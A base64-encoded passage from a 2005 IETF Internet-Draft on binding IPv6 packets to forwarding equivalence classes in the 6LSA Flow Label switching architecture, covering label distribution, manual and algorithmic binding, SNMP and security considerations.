bWJpZ3VvdXNseSBkZXRlcm1pbmUgdGhlIGxhYmVsIHNwYWNlIG9mIHRoZSBwYWNrZXQgaXQNCiAg IHJlY2VpdmVzLCBlLmcuLCBvbiBhIHBvaW50LXRvLXBvaW50IGxpbmspLiAgVGhlIGNob3NlbiBs YWJlbCBpcyBhZGRlZA0KICAgdG8gdGhlIGZvcndhcmRpbmcgZGF0YSBzdHJ1Y3R1cmUgYXMgdGhl IG91dGdvaW5nIGxhYmVsIGZvciB0aGUgRkVDDQogICBhbmQgaXMgYWxzbyBpbnNlcnRlZCBpbnRv IHRoZSBGbG93IExhYmVsIGZpZWxkIG9mIHRoZSBvdXRnb2luZw0KICAgcGFja2V0LiAgVGhlIHBh Y2tldCBpcyB0aGVuIGZvcndhcmRlZCBwZXIgdGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZA0KICAg aW4gdGhlIGZvcndhcmRpbmcgZGF0YSBzdHJ1Y3R1cmUsIGkuZS4sIGFsb25nIHRoZSByb3V0ZWQg cGF0aC4gIFdoZW4NCiAgIHRoZSBwYWNrZXQgaXMgcmVjZWl2ZWQgYXQgdGhlIG5leHQtaG9wIHJv dXRlciwgdGhhdCA2TFNSIGNhbiBsb2NhdGUNCiAgIGl0cyBvd24gZm9yd2FyZGluZyBkYXRhIHN0 cnVjdHVyZSBmb3IgdGhlIHBhY2tldCBieSBtZWFucyBvZiB0aGUNCiAgIHBhY2tldJJzIGRlc3Rp bmF0aW9uIGFkZHJlc3MuICBUaGUgbGFiZWwgaW4gdGhlIGluY29taW5nIHBhY2tldCBpcw0KICAg dXNlZCB0byBjcmVhdGUgdGhlIHN3aXRjaGluZyB0YWJsZSBlbnRyeSBhc3NvY2lhdGluZyB0aGF0 IGxhYmVsIHdpdGgNCiAgIHRoZSBmb3J3YXJkaW5nIGRhdGEgc3RydWN0dXJlLiAgVGhlIGZvcndh cmRpbmcgdHJlYXRtZW50IGZvcg0KICAgc3VjY2VlZGluZyBwYWNrZXRzIGNhbiB0aGVuIGJlIGRl dGVybWluZWQgZGlyZWN0bHkgdGhyb3VnaCBhIHRhYmxlDQogICBsb29rdXAgdXNpbmcgdGhlIGlu Y29taW5nIGxhYmVsIGFzIGFuIGluZGV4LiAgKEluIGZ1dHVyZSB3b3JrIG9uDQogICA2TFNBLCBp dCB3aWxsIGJlIHNob3duIGhvdyBvbmx5IHRoZSBsYWJlbCBjYW4gYmUgdXNlZCBmb3IgZm9yd2Fy ZGluZw0KICAgcGFja2V0cyBpbnN0ZWFkIG9mIHRoZSB3aG9sZSBJUCBIZWFkZXIgd2l0aCBlYWNo IHBhY2tldC4pDQoNCiAgIFNpbWlsYXJseSwgaWYgdGhlIEZFQyBpcyBsaW1pdGVkIHRvIHNwZWNp ZmljIFRyYWZmaWMgQ2xhc3MgdmFsdWVzLA0KICAgdGhlIGluY29taW5nIGxhYmVscyBvciBvbmUg Z2VuZXJhdGVkIGxvY2FsbHkgaW4gdGhlIHJvdXRlciBjb3VsZCBiZQ0KICAgbWFwcGVkIHRvIHRo ZSBUcmFmZmljIENsYXNzLiAgT3RoZXIgd2F5cyB0byBpbmZlciB0aGUgRkVDcyB3b3VsZCBiZQ0K ICAgZnJvbSB0aGUgdmFsdWVzIGluIHNwZWNpZmljIEV4dGVuc2lvbiBIZWFkZXIgZmllbGRzLiAg RGV0YWlscyBvZiBzdWNoDQogICBtZXRob2RzIHdpbGwgYmUgcHJlc2VudGVkIGluIGZ1dHVyZSB3 b3JrLg0KDQogICBBcyBleHBsYWluZWQgaW4gdGhlIDZMU0EgZHJhZnQsIHRoZSByZWNlaXZpbmcg cm91dGVyIHdvdWxkIHR5cGljYWxseQ0KICAgc2V0IHVwIGEgZm9yd2FyZGluZyBkYXRhIHN0cnVj dHVyZSB3aGVuIHRoZSBsZWFkIHBhY2tldCBmb3IgdGhlIGZsb3cNCiAgIHRvIGEgcGFydGljdWxh ciBkZXN0aW5hdGlvbiBmaXJzdCBhcHBlYXJzLiAgQWNjb3JkaW5nIHRvIHRoZQ0KICAgc3BlY2lm aWNhdGlvbiwgdGhlIGxlYWQgcGFja2V0IGZvciB0aGUgZmxvdyBzaG91bGQgYXJyaXZlIGF0IGEg NkxTUg0KICAgcG9ydCB3aXRoIGEgemVybyBsYWJlbC4gIFRoZSB6ZXJvIGxhYmVsIGlzIGluIGdl bmVyYWwgYSBzaWduYWwgdGhhdCBhDQogICBuZXcgZmxvdyBoYXMgYXJyaXZlZC4gIElmLCBob3dl dmVyLCB0aGUgbGVhZCBwYWNrZXQgaXMgbG9zdCBhbmQgdGhlDQogICBmaXJzdCBwYWNrZXQgdG8g YXJyaXZlIGhhcyBhIGxhYmVsLCB0aGUgcm91dGVyIGNhbiBzZXQgdXAgdGhlDQogICBmb3J3YXJk aW5nIGVudHJ5IGZvciB0aGUgZmxvdyBhdCB0aGF0IHRpbWUgdXNpbmcgdGhlIGFjY29tcGFueWlu Zw0KICAgRmxvdyBMYWJlbC4NCg0KICAgV2l0aCB0aGUgYXJyaXZhbCBvZiB0aGUgZmlyc3QgbGFi ZWxlZCBwYWNrZXQgZm9yIHRoZSBmbG93LCB0aGUgNkxTUg0KICAgY2FuIHNldCB1cCB0aGUgdGFi bGUgZW50cnkgYXNzb2NpYXRpbmcgdGhlIGlucHV0IGxhYmVsIHdpdGggdGhlDQogICBmb3J3YXJk aW5nIGRhdGEgc3RydWN0dXJlLiAgVGhlIHJlYXNvbiB0aGF0IHRoZSBGRUMgaXMgaW4gZ2VuZXJh bA0KICAgbGltaXRlZCB0byBhIHNpbmdsZSBhZGRyZXNzIGlzIHRoYXQgdGhlIHVwc3RyZWFtIDZM U1Igd2hpY2ggYXNzaWducw0KICAgdGhlIGxhYmVsIGhhcyBubyBrbm93bGVkZ2Ugb2YgaG93IHRo ZSBuZXh0LWhvcCA2TFNSIHdpbGwgZm9yd2FyZCB0aGUNCiAgIHBhY2tldC4gIEZvciBleGFtcGxl LCBpZiB0aGUgdXBzdHJlYW0gNkxTUiB3ZXJlIHRvIGFzc2lnbiB0aGUgc2FtZQ0KICAgbGFiZWwg dG8gYWxsIHBhY2tldHMgZGVzdGluZWQgZm9yIGEgcGFydGljdWxhciBwcmVmaXgsIHRoZSBuZXh0 LWhvcA0KICAgNkxTUiB3b3VsZCBoYXZlIHRvIGNoZWNrIHRoZSByb3V0aW5nIHRhYmxlIGVhY2gg dGltZSBpdCByZWNlaXZlcyBhDQogICBwYWNrZXQgd2l0aCB0aGF0IGxhYmVsIGluIG9yZGVyIHRv IGFzc3VyZSB0aGF0IHRoZSBmb3J3YXJkaW5nIHJ1bGVzDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAg ICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1BhZ2UgOF0N CgwNCkludGVybmV0LURyYWZ0ICAgICAgQmluZGluZyBQYWNrZXRzIHRvIEZFQ3MgaW4gNkxTQSAg ICAgICAgRmVicnVhcnkgMjAwNQ0KDQoNCiAgIGZvciB0aGUgZW50aXJlIHByZWZpeCBhcmUgaWRl bnRpY2FsLg0KDQo0LjQgIExhYmVsIERpc3RyaWJ1dGlvbiBQcm90b2NvbA0KDQogICBUaGlzIGlz IHRoZSBhcHByb2FjaCB0YWtlbiBpbml0aWFsbHkgYnkgTVBMUy4gIFNldmVyYWwgc3BlY2lhbA0K ICAgcHJvdG9jb2xzIGhhdmUgYmVlbiBkZWZpbmVkIHRvIGRpc3RyaWJ1dGUgTVBMUyBsYWJlbHMg aW5jbHVkaW5nIExEUCwNCiAgIENvbnN0cmFpbmVkIFJvdXRpbmcgTERQIFtSRkMgMzIxMl0sIGFu ZCBSU1ZQLVRFLg0KDQogICBSZWdhcmRsZXNzIG9mIHRoZSBwcm9jZXNzIHVzZWQgdG8gc2V0IHVw IHRoZSA2TFNBIHN3aXRjaGluZyB0YWJsZSwNCiAgIGFueSB0d28gYWRqYWNlbnQgNkxTUnMgbXVz dCBhZ3JlZSBvbiB0aGUgbWVhbmluZyBvZiB0aGUgbGFiZWxzIHRoZXkNCiAgIGV4Y2hhbmdlLiAg SW4gcGFydGljdWxhciwgdGhlIGxhYmVsIG9uIGFuIGluY29taW5nIHBhY2tldCBtdXN0DQogICB1 bmFtYmlndW91c2x5IGRlZmluZSB0aGUgZm9yd2FyZGluZyBiZWhhdmlvciBmb3IgdGhlIHJlY2lw aWVudCBvZiB0aGUNCiAgIHBhY2tldC4gIFRoZSBsb2NhbCBjb25maWd1cmF0aW9uIGFuZCBuZXR3 b3JrIG1hbmFnZW1lbnQgYXBwcm9hY2hlcw0KICAgbWVudGlvbmVkIGFib3ZlIHVzZSBhbiBleHRl cm5hbCBhZ2VuY3kgdG8gbWFrZSBhZGphY2VudCByb3V0ZXJzIGF3YXJlDQogICBvZiB0aGUgbGFi ZWxzJyBtZWFuaW5nLiAgVGhlIGxhYmVsIGRpc3RyaWJ1dGlvbiBwcm90b2NvbCBhcHByb2FjaA0K ICAgYWxsb3dzIG9uZSByb3V0ZXIgdG8gc2ltcGx5IGluZm9ybSBpdHMgbmVpZ2hib3Igd2hhdCBh IGxhYmVsIG1lYW5zLg0KDQogICBJbiBMRFAsIGZvciBleGFtcGxlLCB0d28gTVBMUyByb3V0ZXJz IGVzdGFibGlzaCBhIHNlc3Npb24gYmV0d2Vlbg0KICAgdGhlbXNlbHZlcy4gIE9uZSBvZiB0aGUg cm91dGVycyBjYW4gdGhlbiBzZW5kIGEgTGFiZWwgTWFwcGluZyBtZXNzYWdlDQogICB0byBpdHMg cGVlciBpbmZvcm1pbmcgdGhlIHBlZXIgb2YgdGhlIGluY29taW5nIGxhYmVsIHRoYXQgd2lsbCBt YXAgdG8NCiAgIG9uZSBvZiB0aGUgc2VuZGluZyByb3V0ZXIncyBGRUNzLiAgVGhpcyBtZXNzYWdl IHdvdWxkIGNvcnJlc3BvbmQgdG8NCiAgIG9uZSBlbnRyeSBpbiB0aGUgSW5jb21pbmcgTGFiZWwg TWFwIChJTE0pIHNpbmNlIGl0IHJlbGF0ZXMgYW4NCiAgIGluY29taW5nIGxhYmVsIHRvIHRoZSBO ZXh0IEhvcCBMYWJlbCBGb3J3YXJkaW5nIEVudHJ5IChOSExGRSkgdGhhdA0KICAgZGVmaW5lcyB0 aGUgZm9yd2FyZGluZyBiZWhhdmlvciBmb3IgdGhlIEZFQy4NCg0KICAgT25lIG9mIHRoZSBleGlz dGluZyBsYWJlbCBkaXN0cmlidXRpb24gcHJvdG9jb2xzIGNvdWxkIGJlIHVzZWQNCiAgIGJldHdl ZW4gdHdvIDZMU1JzIHdpdGggYSBtaW5pbXVtIG9mIG1vZGlmaWNhdGlvbiB0byB0aGUgcHJvdG9j b2wuDQogICBUaGlzIHNwZWNpZmljYXRpb24gYWxsb3dzIHVzZSBvZiBvbmUgb3IgbW9yZSBsYWJl bCBkaXN0cmlidXRpb24NCiAgIHByb3RvY29scyB0byBwcm92aWRlIEZFQyB2YWx1ZXMgdG8gdGhl IDZMU1IgZG9tYWluLg0KDQo1LiAgQmluZGluZyBJUHY2IFBhY2tldHMgdG8gYW4gRkVDDQoNCiAg IFRoZSBwcm9jZXNzIG9mIGJpbmRpbmcgSVB2NiBwYWNrZXRzIHRvIEZFQ3MgaW52b2x2ZXMgZXhh bWluYXRpb24gb2YNCiAgIHRoZSBwYWNrZXQgaGVhZGVyIGFuZC9vciBjb250ZW50cyBmb3IgdGhl IGNoYXJhY3RlcmlzdGljcyB0aGF0DQogICBkZXRlcm1pbmUgbWVtYmVyc2hpcCBpbiBhIGNlcnRh aW4gRkVDLiAgSW4gZ2VuZXJhbCwgdGhhdCByZXF1aXJlcw0KICAgc3BlY2lmaWNhdGlvbiBvZiBh IHNldCBvZiBydWxlcyB0aGF0IGRldGVybWluZSB0aGUgYXBwcm9wcmlhdGUgRkVDDQogICBhc3Np Z25tZW50IGZvciB2YXJpb3VzIHR5cGVzIG9mIHBhY2tldHMuDQoNCiAgIFBhY2tldHMgc2hvdWxk IGJlIGJvdW5kIHRvIGFuIEZFQyBhdCA2TFNSIGVkZ2UgKGluZ3Jlc3MpIHBvcnRzLg0KICAgVGhl cmUgbWF5IGJlIHNldmVyYWwgYXBwcm9hY2hlcyB0byB0aGUgZXN0YWJsaXNobWVudCBvZiB0aGUg YmluZGluZw0KICAgcnVsZXMuICBUaHJlZSBhcmUgZGlzY3Vzc2VkIGhlcmU6DQoNCg0KDQoNCg0K DQoNCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIxLCAyMDA1 ICAgICAgICAgICAgICAgICBbUGFnZSA5XQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICBCaW5kaW5n IFBhY2tldHMgdG8gRkVDcyBpbiA2TFNBICAgICAgICBGZWJydWFyeSAyMDA1DQoNCg0KICAgMSkJ TWFudWFsIENvbmZpZ3VyYXRpb24NCg0KICAgMikJQWxnb3JpdGhtaWMgQmluZGluZw0KDQogICAz KQlOZXR3b3JrIE1hbmFnZW1lbnQNCg0KNS4xICBNYW51YWwgQ29uZmlndXJhdGlvbg0KDQogICBC aW5kaW5nIHJ1bGVzIGNhbiBiZSBlc3RhYmxpc2hlZCBieSBtYW51YWwgbWVhbnMgZWl0aGVyIHRo cm91Z2ggYQ0KICAgQ29tbWFuZCBMaW5lIEludGVyZmFjZSAoQ0xJKSBvciBieSB1c2luZyBhbiBl eHRlcm5hbGx5IGdlbmVyYXRlZA0KICAgY29uZmlndXJhdGlvbiBmaWxlLiAgVGhlIHN5bnRheCBv ZiB0aGUgRkVDIGJpbmRpbmcgcG9ydGlvbiBvZiB0aGUgQ0xJDQogICBvciBjb25maWd1cmF0aW9u IGZpbGUgd291bGQgaGF2ZSB0byBiZSBpbXBsZW1lbnRhdGlvbi1kZXBlbmRlbnQgaW4NCiAgIG9y ZGVyIHRvIGJlIGNvbnNpc3RlbnQgd2l0aCB0aGUgb3RoZXIgcm91dGVyIGZ1bmN0aW9ucy4NCg0K ICAgQXMgYW4gZXhhbXBsZSwgY29uc2lkZXIgYSB2ZXJ5IHNpbXBsZSBwYWNrZXQgY2xhc3NpZmlj YXRpb24gc2NoZW1lLg0KICAgVGhlcmUgYXJlIHR3byBsZXZlbHMgb2Ygc2VydmljZSwgcHJpb3Jp dHkgYW5kIHN0YW5kYXJkLiAgUGFja2V0cw0KICAgb3JpZ2luYXRpbmcgZnJvbSBhIHByZS1jb25m aWd1cmVkIHNldCBvZiBhZGRyZXNzZXMgYXJlIGdpdmVuIHByaW9yaXR5DQogICBzZXJ2aWNlLiAg QWxsIG90aGVycyByZWNlaXZlIHN0YW5kYXJkIHNlcnZpY2UuICBBbHNvIGFzc3VtZSBhIHZlcnkN CiAgIHNpbXBsZSBwb2xpY2luZyBmdW5jdGlvbiwgZS5nLiwgbm8gbW9yZSB0aGFuIDEwJSBvZiBp bmNvbWluZyBwYWNrZXRzDQogICAob3ZlciBzb21lIHByZS1kZWZpbmVkIHRpbWUgcGVyaW9kKSBt YXkgYmUgZ2l2ZW4gcHJpb3JpdHkgc2VydmljZS4NCiAgIFBhY2tldHMgZXhjZWVkaW5nIHRoaXMg bGltaXQgYXJlIGdpdmVuIHN0YW5kYXJkIHNlcnZpY2UuDQoNCiAgIFRoZSBwYWNrZXQgY2xhc3Np ZmljYXRpb24gYW5kIHRyYWZmaWMgY29uZGl0aW9uaW5nIG9wZXJhdGlvbnMNCiAgIGRlc2NyaWJl ZCBhYm92ZSBhcmUgcGVyZm9ybWVkIGF0IGEgNkxTUiBlZGdlIHBvcnQuICBGb3IgaW5jb21pbmcN CiAgIHBhY2tldHMgdG8gYmUgZWxpZ2libGUgZm9yIDZMU0EgZm9yd2FyZGluZywgdGhlIElQdjYg RmxvdyBMYWJlbCBmaWVsZA0KICAgaW4gcGFja2V0cyBhcHBlYXJpbmcgYXQgYSA2TFNSIGVkZ2Ug cG9ydCBtYXkgYmUgc2V0IHRvIHplcm8uICBQYWNrZXRzDQogICB3aXRoIG5vbi16ZXJvIEZsb3cg TGFiZWxzIG1heSBiZSBnaXZlbiBkZWZhdWx0IHRyZWF0bWVudC4gIFRodXMsIGF0DQogICB0aGUg ZWRnZSBwb3J0LCBwYWNrZXRzIGFyZSBkaXZpZGVkIGludG8gMyBncm91cHM6DQoNCg0KICAgCTEp IFByaW9yaXR5IDZMU0EgcGFja2V0cw0KDQogICAJMikgU3RhbmRhcmQgNkxTQSBwYWNrZXRzDQoN CiAgIAkzKSBOb24tNkxTQSBwYWNrZXRzDQoNCiAgIEluIHRoaXMgZXhhbXBsZSwgYSA2TFNBIG5l dHdvcmsgaXMgY29uc2lkZXJlZCB0byBiZSBhIJNEaWZmZXJlbnRpYXRlZA0KICAgU2VydmljZXMg RG9tYWlulCBpbiB0aGUgc2Vuc2Ugb2YgdGhlIGFwcGxpY2FibGUgUkZDIJNEZWZpbml0aW9uIG9m DQogICB0aGUgRGlmZmVyZW50aWF0ZWQgU2VyaWVzIEZpZWxkIChEUyBGaWVsZCkgaW4gdGhlIElQ djQgYW5kIElQdjYNCiAgIEhlYWRlcnOUW1JGQyAyNDc0XS4gIEluIHRoaXMgc3BlY2lmaWNhdGlv biwgYSBEaWZmZXJlbnRpYXRlZCBTZXJ2aWNlcw0KICAgRG9tYWluIGlzIGRlZmluZWQgYXMgk2Eg Y29udGlndW91cyBwb3J0aW9uIG9mIHRoZSBJbnRlcm5ldCBvdmVyIHdoaWNoDQogICBhIGNvbnNp c3RlbnQgc2V0IG9mIGRpZmZlcmVudGlhdGVkIHNlcnZpY2VzIHBvbGljaWVzIGFyZSBhZG1pbmlz dGVyZWQNCiAgIGluIGEgY29vcmRpbmF0ZWQgZmFzaGlvbpQuICBQYWNrZXRzIG11c3QgZW50ZXIg YW5kIGV4aXQgdGhlIGRvbWFpbg0KICAgdGhyb3VnaCBhIDZMU1IgZWRnZSBwb3J0LiAgV2l0aGlu IHRoZSBkb21haW4sIHBhY2tldHMgYXJlIGZvcndhcmRlZA0KICAgYmV0d2VlbiCTbmV0d29ya5Qg cG9ydHMgb2YgNkxTUnMuDQoNCiAgIE9uY2UgYSBwYWNrZXQgaXMgY2xhc3NpZmllZCwgdGhlIGVk Z2UgcG9ydCBjYW4gZXhlcmNpc2UgaXRzDQogICBEaWZmZXJlbnRpYXRlZCBTZXJ2aWNlcyAoRFMp IG1hcmtpbmcgZnVuY3Rpb24gYnkgc2V0dGluZyB0aGUgVHJhZmZpYw0KDQoNCg0KQm91bmQsIGV0 IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAgICAgICAgICAgW1Bh Z2UgMTBdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgIEJpbmRpbmcgUGFja2V0cyB0byBGRUNzIGlu IDZMU0EgICAgICAgIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICBDbGFzcyBieXRlIChEUyBGaWVsZCkg dG8gdGhlIGFwcHJvcHJpYXRlIHZhbHVlLiAgT25jZSBhIHBhY2tldCBpcw0KICAgbWFya2VkLCBk b3duc3RyZWFtIDZMU1JzIHdpbGwga25vdyB0aGUgY29ycmVjdCBmb3J3YXJkaW5nIGJlaGF2aW9y DQogICB3aXRoIHJlc3BlY3QgdG8gcHJlY2VkZW5jZS4gIEFsc28sIGRvd25zdHJlYW0gNkxTUnMg d2lsbCBrbm93IHRvDQogICBsZWF2ZSB0aGUgRmxvdyBMYWJlbHMgb2Ygbm9uLTZMU0EgcGFja2V0 cyB1bmNoYW5nZWQuICBGb3IgUHJpb3JpdHkNCiAgIGFuZCBTdGFuZGFyZCBjbGFzcyA2TFNBIHBh Y2tldHMsIHRoZSBlZGdlIHJvdXRlciBjYW4gYXNzaWduIGFuDQogICBvdXRnb2luZyBsYWJlbCBi YXNlZCBvbiBkZXN0aW5hdGlvbiBhbmQgcHJlY2VkZW5jZS4NCg0KICAgQXMgdGhlIG1hcmtlZCBw YWNrZXRzIGFycml2ZSBhdCBzdWNjZXNzaXZlIDZMU1IgbmV0d29yayBwb3J0cywgdGhlaXINCiAg IGZvcndhcmRpbmcgY2xhc3MgY2FuIGJlIG9idGFpbmVkIGZyb20gdGhlIFRyYWZmaWMgQ2xhc3Mg Ynl0ZSBpbiB0aGUNCiAgIGhlYWRlci4gIFRoZSBvdXRnb2luZyBsYWJlbCAoZm9yIG91dGJvdW5k IG5ldHdvcmsgcG9ydHMpIGlzIGFzc2lnbmVkDQogICBiYXNlZCBvbiBkZXN0aW5hdGlvbiBhbmQg VHJhZmZpYyBDbGFzcyBzby4gIFRoaXMgYWNoaWV2ZXMgdGhlIGdvYWwgb2YNCiAgIGhhdmluZyBm b3J3YXJkaW5nIGJlaGF2aW9yIHNvbGVseSBkZWZpbmVkIGJ5IGluY29taW5nIGxhYmVsLg0KDQog ICBUaGUgQ0xJIG9yIGNvbmZpZ3VyYXRpb24gZmlsZSBjb21tYW5kIHN5bnRheCBtdXN0IGJlIGFk ZXF1YXRlIHRvDQogICBzcGVjaWZ5IGEgdmFyaWV0eSBvZiBwYXJhbWV0ZXJzIGluY2x1ZGluZyBi dXQgbm90IGxpbWl0ZWQgdG86DQoNCg0KICAgCTEpIE51bWJlciBvZiBRb1MvcHJlY2VkZW5jZSBs ZXZlbHMNCg0KICAgCTIpIERpZmZlcmVudGlhdGVkIFNlcnZpY2VzIENvZGUgUG9pbnQgKERTQ1Ap IG9yIFRyYWZmaWMgQ2xhc3MgZm9yIGVhY2ggc2VydmljZSBsZXZlbA0KDQogICAJMykgVHJhZmZp YyBwb2xpY2luZyBwYXJhbWV0ZXJzDQoNCiAgIAk0KSBMYWJlbCBhc3NpZ25tZW50IGNyaXRlcmlh DQoNCjUuMiAgQWxnb3JpdGhtaWMgQmluZGluZw0KDQogICBUaGUgYWxnb3JpdGhtKHMpIGZvciBh c3NpZ25pbmcgcGFja2V0cyB0byBGRUNzIGNhbiBiZSBjb2RlZCBpbnRvIHRoZQ0KICAgNkxTUiBl ZGdlIHBvcnQgcGFja2V0IGhhbmRsaW5nIHNvZnR3YXJlIGF0IHRoZSB0aW1lIGl0IGlzIGRlc2ln bmVkLg0KICAgVGhpcyBjb2RlIHNlZ21lbnQgbWlnaHQgY29uc2lzdCBvZiBvbmUgb3IgbW9yZSBm aWx0ZXJzIHRoYXQgZXhhbWluZQ0KICAgaW5jb21pbmcgcGFja2V0cyBmb3IgY2VydGFpbiBjaGFy YWN0ZXJpc3RpY3MsIGUuZy4sIFRDUC9VRFAgcG9ydA0KICAgbnVtYmVyLiAgVGhlIHByZXNlbmNl IG9yIGFic2VuY2Ugb2YgdGhlc2UgY2hhcmFjdGVyaXN0aWNzIHdvdWxkDQogICByZXN1bHQgaW4g dGhlIHBhY2tldCBiZWluZyBhc3NpZ25lZCB0byBjZXJ0YWluIHByZWRldGVybWluZWQgRkVDcy4N Cg0KICAgQSBzaW1wbGUgZXhhbXBsZSB3b3VsZCBiZSB0aGUgY2FzZSB3aGVyZSBGRUNzIGNvbnNp c3Qgb2Ygc2luZ2xlDQogICBkZXN0aW5hdGlvbiBhZGRyZXNzZXMuICBFZGdlIHBvcnQgYmVoYXZp b3IgY291bGQgYmUgY29kZWQgc3VjaCB0aGF0DQogICBlYWNoIHRpbWUgYSBwYWNrZXQgYXJyaXZl cyBmb3IgYSBuZXcgZGVzdGluYXRpb24sIGEgbmV3IEZFQyBpcw0KICAgY3JlYXRlZC4gIEFuIHVu dXNlZCBsYWJlbCBpcyBjaG9zZW4gdG8gcmVwcmVzZW50IHRoaXMgRkVDIGFuZCB0aGUNCiAgIHBh Y2tldCBpcyBmb3J3YXJkZWQuDQoNCiAgIFRoZSBvYnZpb3VzIGRpc2FkdmFudGFnZSBvZiB0aGlz IGFwcHJvYWNoIGlzIGl0cyBpbmZsZXhpYmlsaXR5Lg0KICAgTmV0d29yayBtYW5hZ2VycyB3b3Vs ZCBub3QgYmUgYWJsZSB0byBjaGFuZ2UgdGhlIGFzc2lnbm1lbnQgb2YNCiAgIHBhY2tldHMgdG8g RkVDcy4gIEluIHNvbWUgY2FzZXMsIGhvd2V2ZXIsIHRoZSBhZGRlZCBvdmVyaGVhZCBhbmQNCiAg IGNvbXBsZXhpdHkgb2YgcHJvdmlkaW5nIGEgbW9yZSBmbGV4aWJsZSBhcHByb2FjaCBtaWdodCBu b3QgYmUNCiAgIGp1c3RpZmllZC4NCg0KDQoNCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAg IEV4cGlyZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAgICAgICAgIFtQYWdlIDExXQ0KDA0KSW50 ZXJuZXQtRHJhZnQgICAgICBCaW5kaW5nIFBhY2tldHMgdG8gRkVDcyBpbiA2TFNBICAgICAgICBG ZWJydWFyeSAyMDA1DQoNCg0KNS4zICBGRUMgQmluZGluZyB1c2luZyBTTk1QDQoNCiAgIFRoZSBh bGdvcml0aG0ocykgZm9yIGFzc2lnbmluZyBwYWNrZXRzIHRvIEZFQ3MgY2FuIGJlIGNvZGVkIGlu dG8gdGhlDQogICA2TFNSIGVkZ2UgcG9ydCBwYWNrZXQgaGFuZGxpbmcgc29mdHdhcmUgYXQgdGhl IHRpbWUgaXQgaXMgZGVzaWduZWQuDQogICBUaGlzIGNvZGUgc2VnbWVudCBtaWdodCBjb25zaXN0 IG9mIG9uZSBvciBtb3JlIGZpbHRlcnMgdGhhdCBleGFtaW5lDQogICBpbmNvbWluZyBwYWNrZXRz IGZvciBjZXJ0YWluIGNoYXJhY3RlcmlzdGljcywgZS5nLiwgVENQL1VEUCBwb3J0DQogICBudW1i ZXIuICBUaGUgcHJlc2VuY2Ugb3IgYWJzZW5jZSBvZiB0aGVzZSBjaGFyYWN0ZXJpc3RpY3Mgd291 bGQNCiAgIHJlc3VsdCBpbiB0aGUgcGFja2V0IGJlaW5nIGFzc2lnbmVkIHRvIGNlcnRhaW4gcHJl ZGV0ZXJtaW5lZCBGRUNzLg0KDQogICBBIHNpbXBsZSBleGFtcGxlIHdvdWxkIGJlIHRoZSBjYXNl IHdoZXJlIEZFQ3MgY29uc2lzdCBvZiBzaW5nbGUNCiAgIGRlc3RpbmF0aW9uIGFkZHJlc3Nlcy4g IEVkZ2UgcG9ydCBiZWhhdmlvciBjb3VsZCBiZSBjb2RlZCBzdWNoIHRoYXQNCiAgIGVhY2ggdGlt ZSBhIHBhY2tldCBhcnJpdmVzIGZvciBhIG5ldyBkZXN0aW5hdGlvbiwgYSBuZXcgRkVDIGlzDQog ICBjcmVhdGVkLiAgQW4gdW51c2VkIGxhYmVsIGlzIGNob3NlbiB0byByZXByZXNlbnQgdGhpcyBG RUMgYW5kIHRoZQ0KICAgcGFja2V0IGlzIGZvcndhcmRlZC4NCg0KICAgVGhlIG9idmlvdXMgZGlz YWR2YW50YWdlIG9mIHRoaXMgYXBwcm9hY2ggaXMgaXRzIGluZmxleGliaWxpdHkuDQogICBOZXR3 b3JrIG1hbmFnZXJzIHdvdWxkIG5vdCBiZSBhYmxlIHRvIGNoYW5nZSB0aGUgYXNzaWdubWVudCBv Zg0KICAgcGFja2V0cyB0byBGRUNzLiAgSW4gc29tZSBjYXNlcywgaG93ZXZlciwgdGhlIGFkZGVk IG92ZXJoZWFkIGFuZA0KICAgY29tcGxleGl0eSBvZiBwcm92aWRpbmcgYSBtb3JlIGZsZXhpYmxl IGFwcHJvYWNoIG1pZ2h0IG5vdCBiZQ0KICAganVzdGlmaWVkLg0KDQo2LiAgU2VjdXJpdHkgQ29u c2lkZXJhdGlvbnMNCg0KICAgU2VjdXJpdHkgY29uc2lkZXJhdGlvbnMgZm9yIHRoZSB1c2Ugb2Yg dGhlIEZsb3cgTGFiZWwgc3dpdGNoaW5nDQogICBtZXRob2QgaXRzZWxmIGFyZSBkaXNjdXNzZWQg aW4gdGhlIGFyY2hpdGVjdHVyZSBkb2N1bWVudCBbNkxTQV0uICBUbw0KICAgc3VtbWFyaXplLCBm b3IgU2VjdXJpdHkgQXNzb2NpYXRpb25zIG9wZXJhdGluZyBpbiB0aGUgdHJhbnNwb3J0IG1vZGUs DQogICBvbmx5IHRoZSBwYWNrZXQgcGF5bG9hZCBpcyBlbmNyeXB0ZWQgYW5kIGhlbmNlIGZpZWxk cyBpbiB0aGUgSVB2Ng0KICAgaGVhZGVyLCBpLmUuLCB0aGUgRmxvdyBMYWJlbCBmaWVsZCwgYXJl IG5vdCBhZmZlY3RlZC4gIEluIHRoZSB0dW5uZWwNCiAgIG1vZGUsIHRoZSBJUHY2IHBhY2tldCBp cyBlbmNhcHN1bGF0ZWQgaW4gYW4gb3V0ZXIgcGFja2V0IHdoaWNoDQogICBpbmNsdWRlcyBhIG5l dyBoZWFkZXIuICBJbiB0aGlzIGNhc2UsIHRoZSBGbG93IExhYmVsIGlzIG5vdCBhY2Nlc3NlZA0K ICAgdW50aWwgdGhlIHBhY2tldCByZWFjaGVzIHRoZSBlbmQgcG9pbnQgb2YgdGhlIFNlY3VyaXR5 IEFzc29jaWF0aW9uDQogICBhbmQgaXMgdW53cmFwcGVkLiAgSGVuY2UgdGhlIDZMU0EgaGFzIG5v IGltcGFjdCBvbiBzZWN1cml0eSBpbiB0aGlzDQogICBtb2RlIGVpdGhlci4NCg0KICAgVGVjaG5p cXVlcyBmb3Igc2V0dGluZyB1cCBmb3J3YXJkaW5nIGVudHJpZXMgYW5kIEZFQyBiaW5kaW5ncyBo YXZlDQogICBiZWVuIGRlc2NyaWJlZCBpbiB0aGlzIGRvY3VtZW50LiAgVGhvc2UgdGVjaG5pcXVl 